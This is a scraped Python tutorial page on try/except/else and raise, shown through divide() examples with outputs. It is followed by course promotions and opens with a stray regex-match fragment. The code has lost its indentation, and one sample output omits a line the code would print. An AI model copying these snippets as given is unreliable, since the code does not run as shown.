Match at index 14, 21
Full match: June 24
Month: June
Day: 24
Like other languages, Python also provides the runtime errors via exception handling method with the help of try-except.
How try-except works?
First try clause is executed i.e. the code between try and except clause.
If there is no exception, then only try clause will run, except clause is finished.
If any exception occurred, try clause will be skipped and except clause will run.
If any exception occurs, but the except clause within the code doesn’t handle it, it is passed on to the outer try statements. If the exception left unhandled, then the execution stops.
A try statement can have more than one except clause.
Code 1: No exception, so try clause will run.
# Python code to illustrate
# working of try()
def divide(x, y):
try:
result = x // y
print("Yeah ! Your answer is :", result)
except ZeroDivisionError:
print("Sorry ! You are dividing by zero ")
# Look at parameters and note the working of Program
divide(3, 2)
Output:
Yeah ! Your answer is : 1
Code 2: There is an exception so only except clause will run.
# Python code to illustrate
# working of try()
def divide(x, y):
try:
result = x // y
print("Yeah ! Your answer is :", result)
except:
print("Sorry ! You are dividing by zero ")
# Look at parameters and note the working of Program
divide(3, 0)
Output:
Sorry ! You are dividing by zero
Else Clause: In python, you can also use else clause on try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.
# Python code to illustrate
# working of try()
def divide(x, y):
try:
result = x // y
print("Yeah ! Your answer is :", result)
except:
print("Sorry ! You are dividing by zero ")
else:
print("No exception raised")
# Look at parameters and note the working of Program
divide(3, 2)
Output:
Yeah ! Your answer is : 1
No exception raised
Raising Exception: The raise statement allows the programmer to force a specific exception to occur. This must be either an exception instance or an exception class. To know more about the list of exception class 👉🏽 click here.
# Program to depict Raising Exception
try:
raise NameError("Hi there") # Raise Error
except NameError:
print("An exception")
raise # To determine whether the exception was raised or not
Output:
Traceback (most recent call last):
File "/home/4678cd3d633b2ddf9d19fde6283f987b.py", line 4, in
raise NameError("Hi there") # Raise Error
NameError: Hi there
Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.
Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course, designed and curated by industry experts having years of expertise in ML and industry-based projects.
Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.
Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.
Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.
Why Django Framework ?
Excellent documentation and high scalability.
Used by Top MNCs and Companies, such as Instagram, Disqus, Spotify, Youtube, Bitbucket, Dropbox, etc. and the list is never-ending.
Easiest Framework to learn, rapid development and Batteries fully included.
The last but not least reason to learn Django is Python, Python has huge library and features such as Web Scrapping, Machine Learning, Image Processing, Scientific Computing, etc. One can integrate it all this with web application and do lots and lots of advance stuff.
Pandas is an open-source library that is built on top of NumPy library. It is a Python package that offers various data structures and operations for manipulating numerical data and time series. It is mainly popular for importing and analyzing data much easier. Pandas is fast and it has high-performance & productivity for users.
This Pandas Tutorial will help learning Pandas from Basics to advance data analysis operations, including all necessary functions explained in detail.
OpenCV is a huge open-source library for computer vision, machine learning, and image processing. OpenCV supports a wide variety of programming languages like Python, C++, Java, etc. It can process images and videos to identify objects, faces, or even the handwriting of a human. When it is integrated with various libraries, such as Numpy which is a highly optimized library for numerical operations, then the number of weapons increases in your Arsenal i.e whatever operations one can do in Numpy can be combined with OpenCV.
This OpenCV tutorial will help you learn the Image-processing from Basics to Advance, like operations on Images, Videos using a huge set of Opencv-programs and projects.
Selenium is a powerful tool for controlling web browsers through programs and performing browser automation. It is functional for all browsers, works on all major OS and its scripts are written in various languages i.e Python, Java, C#, etc, we will be working with Python. Selenium Tutorial covers all topics such as – WebDriver, WebElement, Unit Testing with selenium. This Python Selenium Tutorial covers Selenium from basics to advanced and professional uses.
Why learn Selenium Python ?
Open Source and Portable – Selenium is an open source and portable Web testing Framework.
Combination of tool and DSL – Selenium is combination of tools and DSL (Domain Specific Language) in order to carry out various types of tests.
Easier to understand and implement – Selenium commands are categorized in terms of different classes which make it easier to understand and implement.
Less burden and stress for testers – As mentioned above, the amount of time required to do testing repeated test scenarios on each and every new build is reduced to zero, almost. Hence, the burden of tester gets reduced.
Cost reduction for the Business Clients – The Business needs to pay the testers their salary, which is saved using automation testing tool. The automation not only saves time but gets cost benefits too, to the business.
Selenium Webdriver is the parent of all methods and classes used in Selenium Python. It is the driving force of Selenium that allows us to perform various operations on multiple elements on a webpage. Driver has various methods and attributes one can use to automate testing in Selenium Python. To check how to use webdriver, visit – Web Driver in Selenium Python . Various methods one can use in selenium Python are –
An element can be a tag, property, or anything, it is an instance of class selenium.webdriver.remote.webelement.WebElement. After you find an element on screen using selenium, you might want to click it or find sub-elements, etc. Selenium provides methods around this WebElement of Selenium. To checkout how to use element object in selenium, visit – WebElement in Selenium Python. Various methods one can use with an element in Selenium Python are discussed below –
Tkinter is the most commonly used library for developing GUI (Graphical User Interface) in Python. It is a standard Python interface to the Tk GUI toolkit shipped with Python. As Tk and Tkinter are available on most of the Unix platforms as well as on the Windows system, developing GUI applications with Tkinter becomes the fastest and easiest.
This Tkinter Tutorial will help learning Tkinter from Basics to advance GUI development, including all the necessary functions explained in detail.